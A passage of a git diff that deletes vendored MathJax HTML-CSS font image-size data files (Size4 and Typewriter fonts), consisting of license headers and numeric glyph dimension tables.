6,13],[20,43,15],[24,51,18],[28,61,22],[33,72,26],[40,85,30],[47,101,36],[56,120,43]],9118:[[5,13,5],[5,16,6],[6,19,7],[7,22,8],[9,26,10],[10,31,11],[12,36,13],[14,43,16],[17,51,19],[20,60,22],[23,72,26],[28,85,31],[33,101,37],[39,120,44]],9119:[[5,6,1],[5,7,1],[6,7,1],[7,9,1],[9,10,1],[10,12,1],[12,13,1],[14,16,1],[17,18,1],[20,22,1],[23,25,1],[28,31,2],[33,36,2],[39,43,2]],9120:[[5,14,5],[5,16,6],[6,19,7],[7,22,8],[9,26,9],[10,31,11],[12,36,13],[14,43,15],[17,51,18],[20,61,22],[23,72,26],[28,85,30],[33,101,36],[39,120,43]],9121:[[5,13,5],[6,16,6],[7,19,7],[8,22,8],[9,25,9],[11,31,11],[14,36,13],[16,42,15],[19,50,18],[22,60,22],[27,72,26],[32,84,30],[37,100,36],[44,119,43]],9122:[[3,5,0],[4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,10,0],[8,12,0],[10,14,0],[12,17,0],[14,20,0],[16,24,0],[19,28,0],[23,34,0],[27,40,0]],9123:[[5,13,5],[6,16,6],[7,19,7],[8,22,8],[9,25,9],[11,31,11],[14,36,13],[16,42,15],[19,50,18],[22,61,22],[27,72,26],[32,84,30],[37,100,36],[44,119,43]],9124:[[3,13,5],[3,16,6],[5,19,7],[5,22,8],[5,25,9],[6,31,11],[8,36,13],[9,42,15],[11,50,18],[12,60,22],[15,72,26],[18,84,30],[21,100,36],[23,119,43]],9125:[[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,10,0],[7,12,0],[9,14,0],[10,17,0],[12,20,0],[14,24,0],[17,28,0],[20,34,0],[23,40,0]],9126:[[3,13,5],[3,16,6],[5,19,7],[5,22,8],[5,25,9],[6,31,11],[8,36,13],[9,42,15],[11,50,18],[12,61,22],[15,72,26],[18,84,30],[21,100,36],[23,119,43]],9127:[[5,8,1],[6,9,1],[8,10,1],[9,12,1],[10,14,1],[12,16,1],[14,19,1],[17,22,1],[20,26,1],[24,31,1],[29,37,1],[34,44,2],[40,52,2],[48,62,2]],9128:[[4,14,5],[5,16,6],[5,19,7],[6,23,9],[7,27,10],[9,32,12],[10,37,14],[12,44,16],[15,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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/unpacked/Main.js
deleted file mode 100644
index e3189c78..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,225 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Size4": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [6,21,9],[7,25,10],[8,30,12],[9,36,15],[11,42,17],[13,50,21],[15,59,24],[18,70,29],
-      [21,83,35],[25,99,41],[30,118,49],[36,140,58],[42,166,69],[50,198,82]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [4,22,9],[5,25,10],[6,30,12],[7,36,15],[8,42,17],[10,50,21],[11,59,24],[13,70,29],
-      [16,84,35],[19,99,41],[22,118,49],[26,140,58],[31,166,69],[37,198,82]
-    ],
-    0x2F: [  // SOLIDUS
-      [9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],
-      [34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [4,21,9],[5,25,11],[6,30,12],[7,35,15],[8,42,17],[10,51,22],[12,60,25],[14,70,29],
-      [16,83,35],[19,99,41],[23,117,49],[27,140,58],[32,166,69],[38,197,82]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],
-      [34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [3,21,9],[3,25,11],[4,30,12],[4,35,15],[5,42,17],[6,51,22],[7,60,25],[8,70,29],
-      [9,83,35],[11,99,41],[13,117,49],[15,140,58],[18,166,69],[21,197,82]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],
-      [19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],
-      [19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],
-      [54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [14,2,-4],[17,2,-5],[20,3,-5],[24,5,-6],[28,4,-8],[33,4,-10],[38,5,-11],[45,6,-14],
-      [54,7,-16],[63,8,-19],[75,10,-23],[89,12,-27],[106,14,-32],[125,16,-38]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],
-      [54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]
-    ],
-    0x303: [  // COMBINING TILDE
-      [14,2,-4],[16,2,-5],[19,3,-5],[23,5,-6],[27,4,-8],[32,4,-10],[37,5,-11],[44,6,-14],
-      [53,7,-16],[63,8,-19],[74,10,-23],[88,12,-27],[105,14,-32],[125,16,-38]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [8,22,9],[9,26,11],[10,31,13],[12,36,15],[15,43,18],[17,51,21],[20,60,25],[24,71,30],
-      [29,84,35],[34,100,42],[40,118,49],[48,141,59],[57,167,70],[67,199,83]
-    ],
-    0x2308: [  // LEFT CEILING
-      [5,21,9],[6,26,11],[7,30,13],[8,36,15],[9,43,18],[11,51,21],[13,60,25],[15,70,29],
-      [18,84,35],[21,100,42],[25,118,49],[30,141,59],[36,166,69],[42,199,83]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [3,21,9],[4,26,11],[4,30,13],[6,36,15],[6,43,18],[7,51,21],[8,60,25],[9,70,29],
-      [11,84,35],[13,100,42],[15,118,49],[18,141,59],[21,166,69],[25,199,83]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [5,22,9],[6,26,11],[7,31,13],[8,36,15],[9,43,18],[11,50,21],[13,60,25],[15,70,29],
-      [18,84,35],[21,100,42],[25,118,49],[30,140,58],[36,167,70],[42,199,83]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [3,22,9],[4,26,11],[4,31,13],[6,36,15],[6,43,18],[7,50,21],[8,60,25],[9,70,29],
-      [11,84,35],[13,100,42],[15,118,49],[18,140,58],[21,167,70],[25,199,83]
-    ],
-    0x239B: [  // LEFT PARENTHESIS UPPER HOOK
-      [6,13,5],[7,16,6],[9,19,7],[10,22,8],[12,26,10],[14,31,11],[17,36,13],[20,43,16],
-      [24,51,19],[28,60,22],[33,72,26],[40,85,31],[47,101,37],[56,120,44]
-    ],
-    0x239C: [  // LEFT PARENTHESIS EXTENSION
-      [3,6,1],[4,7,1],[5,7,1],[5,9,1],[6,10,1],[7,12,1],[9,13,1],[10,16,1],
-      [12,18,1],[14,22,1],[17,25,1],[20,31,2],[24,36,2],[28,43,2]
-    ],
-    0x239D: [  // LEFT PARENTHESIS LOWER HOOK
-      [6,14,5],[7,16,6],[9,19,7],[10,22,8],[12,26,9],[14,31,11],[17,36,13],[20,43,15],
-      [24,51,18],[28,61,22],[33,72,26],[40,85,30],[47,101,36],[56,120,43]
-    ],
-    0x239E: [  // RIGHT PARENTHESIS UPPER HOOK
-      [5,13,5],[5,16,6],[6,19,7],[7,22,8],[9,26,10],[10,31,11],[12,36,13],[14,43,16],
-      [17,51,19],[20,60,22],[23,72,26],[28,85,31],[33,101,37],[39,120,44]
-    ],
-    0x239F: [  // RIGHT PARENTHESIS EXTENSION
-      [5,6,1],[5,7,1],[6,7,1],[7,9,1],[9,10,1],[10,12,1],[12,13,1],[14,16,1],
-      [17,18,1],[20,22,1],[23,25,1],[28,31,2],[33,36,2],[39,43,2]
-    ],
-    0x23A0: [  // RIGHT PARENTHESIS LOWER HOOK
-      [5,14,5],[5,16,6],[6,19,7],[7,22,8],[9,26,9],[10,31,11],[12,36,13],[14,43,15],
-      [17,51,18],[20,61,22],[23,72,26],[28,85,30],[33,101,36],[39,120,43]
-    ],
-    0x23A1: [  // LEFT SQUARE BRACKET UPPER CORNER
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/BasicLatin.js
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/CombDiacritMarks.js
deleted file mode 100644
index db7d0ef9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Typewriter:{768:[[2,1,-3],[3,1,-5],[4,1,-5],[3,2,-5],[4,2,-6],[4,2,-8],[5,3,-10],[6,3,-11],[7,4,-13],[8,5,-16],[9,5,-19],[10,6,-22],[13,7,-27],[15,9,-32]],769:[[3,1,-3],[3,1,-5],[3,1,-5],[3,2,-5],[4,2,-6],[5,2,-8],[5,3,-10],[6,3,-11],[7,4,-13],[8,5,-16],[9,5,-19],[11,6,-22],[13,7,-27],[15,9,-32]],770:[[3,1,-3],[4,2,-4],[5,2,-4],[5,2,-5],[5,2,-6],[7,3,-7],[8,3,-10],[9,4,-10],[10,4,-13],[12,5,-16],[14,6,-18],[17,7,-21],[19,9,-25],[23,10,-31]],771:[[4,1,-3],[4,1,-5],[5,1,-5],[5,2,-5],[6,3,-5],[7,3,-7],[8,3,-10],[9,3,-11],[11,4,-13],[13,5,-16],[15,6,-18],[17,7,-21],[21,8,-26],[24,10,-31]],772:[[4,1,-3],[4,1,-4],[5,1,-4],[6,1,-6],[6,2,-6],[7,3,-7],[8,2,-10],[10,2,-11],[11,3,-14],[13,3,-17],[16,3,-19],[18,4,-23],[21,5,-27],[26,6,-33]],774:[[4,1,-3],[4,1,-5],[5,1,-5],[6,1,-6],[6,2,-6],[7,3,-8],[8,2,-11],[10,3,-11],[11,3,-14],[13,4,-17],[15,5,-19],[18,5,-23],[21,6,-28],[25,7,-34]],776:[[3,1,-3],[4,1,-5],[4,1,-5],[4,2,-5],[5,2,-6],[7,2,-8],[7,2,-11],[8,3,-11],[10,3,-14],[11,4,-17],[13,4,-20],[16,5,-23],[19,6,-28],[22,7,-34]],778:[[2,1,-3],[2,1,-5],[3,1,-5],[3,2,-5],[3,2,-6],[3,2,-8],[4,3,-10],[4,3,-11],[5,3,-14],[7,5,-16],[7,5,-19],[8,6,-22],[10,7,-27],[12,8,-33]],780:[[3,1,-3],[4,1,-4],[5,1,-4],[5,2,-5],[5,2,-6],[7,2,-7],[8,3,-9],[8,3,-10],[10,4,-12],[12,5,-15],[14,5,-17],[16,6,-21],[19,7,-25],[23,9,-30]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Main.js
deleted file mode 100644
index 890f76de..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Typewriter:{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Other.js
deleted file mode 100644
index 43ee32be..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Typewriter:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],305:[[4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[16,15,0],[19,17,0],[22,20,0],[26,24,0],[31,28,-1]],567:[[3,5,2],[4,6,2],[4,6,2],[5,8,3],[6,9,3],[7,11,4],[8,14,5],[9,15,5],[11,18,6],[13,23,8],[15,26,9],[18,30,10],[22,36,12],[25,44,15]],768:[[2,1,-3],[3,1,-5],[4,1,-5],[3,2,-5],[4,2,-6],[4,2,-8],[5,3,-10],[6,3,-11],[7,4,-13],[8,5,-16],[9,5,-19],[10,6,-22],[13,7,-27],[15,9,-32]],769:[[3,1,-3],[3,1,-5],[3,1,-5],[3,2,-5],[4,2,-6],[5,2,-8],[5,3,-10],[6,3,-11],[7,4,-13],[8,5,-16],[9,5,-19],[11,6,-22],[13,7,-27],[15,9,-32]],770:[[3,1,-3],[4,2,-4],[5,2,-4],[5,2,-5],[5,2,-6],[7,3,-7],[8,3,-10],[9,4,-10],[10,4,-13],[12,5,-16],[14,6,-18],[17,7,-21],[19,9,-25],[23,10,-31]],771:[[4,1,-3],[4,1,-5],[5,1,-5],[5,2,-5],[6,3,-5],[7,3,-7],[8,3,-10],[9,3,-11],[11,4,-13],[13,5,-16],[15,6,-18],[17,7,-21],[21,8,-26],[24,10,-31]],772:[[4,1,-3],[4,1,-4],[5,1,-4],[6,1,-6],[6,2,-6],[7,3,-7],[8,2,-10],[10,2,-11],[11,3,-14],[13,3,-17],[16,3,-19],[18,4,-23],[21,5,-27],[26,6,-33]],774:[[4,1,-3],[4,1,-5],[5,1,-5],[6,1,-6],[6,2,-6],[7,3,-8],[8,2,-11],[10,3,-11],[11,3,-14],[13,4,-17],[15,5,-19],[18,5,-23],[21,6,-28],[25,7,-34]],776:[[3,1,-3],[4,1,-5],[4,1,-5],[4,2,-5],[5,2,-6],[7,2,-8],[7,2,-11],[8,3,-11],[10,3,-14],[11,4,-17],[13,4,-20],[16,5,-23],[19,6,-28],[22,7,-34]],778:[[2,1,-3],[2,1,-5],[3,1,-5],[3,2,-5],[3,2,-6],[3,2,-8],[4,3,-10],[4,3,-11],[5,3,-14],[7,5,-16],[7,5,-19],[8,6,-22],[10,7,-27],[12,8,-33]],780:[[3,1,-3],[4,1,-4],[5,1,-4],[5,2,-5],[5,2,-6],[7,2,-7],[8,3,-9],[8,3,-10],[10,4,-12],[12,5,-15],[14,5,-17],[16,6,-21],[19,7,-25],[23,9,-30]],915:[[4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]],916:[[4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]],920:[[4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],[13,17,0],[16,21,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0]],923:[[4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]],926:[[4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,33,-1],[32,40,-1]],928:[[4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[12,14,0],[15,17,0],[17,21,0],[21,24,0],[24,28,0],[29,34,0],[34,41,0]],931:[[4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,33,0],[32,40,0]],933:[[4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,29,0],[27,34,0],[32,41,0]],934:[[4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]],936:[[4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]],937:[[4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],[14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,42,0]],2018:[[3,3,-1],[3,4,-2],[4,4,-2],[4,5,-3],[5,6,-3],[6,7,-4],[7,7,-5],[9,9,-6],[10,10,-7],[12,12,-9],[14,13,-11],[17,16,-13],[20,19,-15],[23,23,-18]],2019:[[3,3,-2],[3,4,-2],[4,4,-3],[5,4,-4],[5,6,-4],[6,7,-5],[7,8,-6],[9,8,-8],[10,10,-9],[12,12,-11],[14,14,-13],[17,16,-16],[20,19,-19],[24,22,-23]],8242:[[3,2,-2],[3,3,-3],[4,3,-3],[4,4,-3],[5,4,-4],[6,5,-5],[7,6,-7],[8,7,-7],[9,8,-9],[11,10,-11],[13,12,-12],[15,14,-14],[18,16,-18],[21,20,-21]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/BasicLatin.js
deleted file mode 100644
index f7c2a316..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,417 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Typewriter": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [3,4,0],[3,6,0],[4,6,0],[4,7,0],[5,8,0],[6,10,0],[7,13,0],[8,14,0],
-      [9,17,0],[11,21,0],[13,24,0],[15,28,0],[18,34,0],[21,41,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [3,2,-2],[4,3,-3],[4,3,-3],[5,4,-3],[6,4,-4],[7,5,-5],[8,6,-7],[10,7,-7],
-      [12,8,-9],[14,10,-11],[16,12,-12],[19,14,-14],[23,16,-18],[27,20,-21]
-    ],
-    0x23: [  // NUMBER SIGN
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,1],[4,8,1],[5,8,1],[6,9,1],[7,11,2],[8,13,1],[10,16,1],[11,18,2],
-      [13,22,3],[16,27,3],[19,31,4],[22,36,4],[26,43,4],[31,52,6]
-    ],
-    0x25: [  // PERCENT SIGN
-      [4,5,1],[5,7,1],[5,7,1],[6,9,1],[7,11,1],[9,13,1],[10,16,2],[12,18,2],
-      [14,22,2],[17,27,3],[20,31,3],[23,36,4],[28,43,5],[33,52,6]
-    ],
-    0x26: [  // AMPERSAND
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[27,34,0],[33,41,0]
-    ],
-    0x27: [  // APOSTROPHE
-      [3,3,-1],[3,4,-2],[4,4,-2],[5,4,-3],[5,5,-3],[6,6,-4],[7,7,-6],[9,8,-6],
-      [10,9,-8],[12,11,-10],[14,13,-11],[17,15,-13],[20,18,-16],[23,22,-19]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [4,6,1],[4,8,1],[5,8,1],[6,9,1],[7,11,1],[8,13,1],[9,16,2],[11,18,2],
-      [13,22,2],[15,27,3],[18,31,3],[21,36,4],[25,43,4],[29,52,5]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,6,1],[3,8,1],[4,8,1],[5,9,1],[5,11,1],[6,13,1],[7,16,2],[9,18,2],
-      [10,22,2],[12,27,3],[14,31,3],[17,36,4],[20,43,4],[24,52,5]
-    ],
-    0x2A: [  // ASTERISK
-      [4,3,-1],[4,4,-1],[5,4,-1],[6,5,-1],[7,6,-1],[8,7,-1],[9,9,-2],[11,10,-2],
-      [13,12,-2],[15,15,-3],[18,17,-3],[22,20,-4],[26,24,-5],[30,29,-6]
-    ],
-    0x2B: [  // PLUS SIGN
-      [4,4,-1],[5,5,-1],[5,5,-1],[6,6,-1],[7,7,-1],[9,8,-1],[10,10,-2],[12,11,-2],
-      [14,13,-2],[17,16,-3],[20,18,-3],[23,21,-4],[27,25,-4],[33,30,-5]
-    ],
-    0x2C: [  // COMMA
-      [3,2,1],[3,4,2],[4,4,2],[5,4,2],[5,4,2],[6,5,2],[7,6,3],[9,7,3],
-      [10,8,4],[12,10,5],[14,12,6],[17,14,7],[20,16,8],[24,19,9]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [4,1,-2],[4,1,-2],[5,1,-2],[6,1,-3],[7,1,-4],[8,2,-4],[10,3,-5],[11,2,-6],
-      [13,2,-7],[16,3,-9],[19,3,-11],[22,4,-12],[26,4,-15],[31,5,-18]
-    ],
-    0x2E: [  // FULL STOP
-      [3,1,0],[3,2,0],[4,2,0],[4,2,0],[5,2,0],[6,3,0],[7,3,0],[8,4,0],
-      [10,4,0],[11,5,0],[13,6,0],[16,7,0],[19,8,0],[22,10,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,11,1],[8,13,1],[10,16,2],[11,18,2],
-      [13,22,2],[16,27,3],[19,30,3],[22,36,4],[26,43,5],[31,52,6]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],
-      [13,17,0],[15,21,0],[18,24,0],[21,28,0],[25,34,0],[30,41,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [13,17,0],[16,21,0],[19,24,0],[22,29,1],[26,34,0],[31,41,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[22,28,0],[27,34,0],[32,41,0]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[33,41,0]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[22,28,0],[27,34,0],[32,41,0]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,35,0],[32,43,0]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,35,0],[32,42,0]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
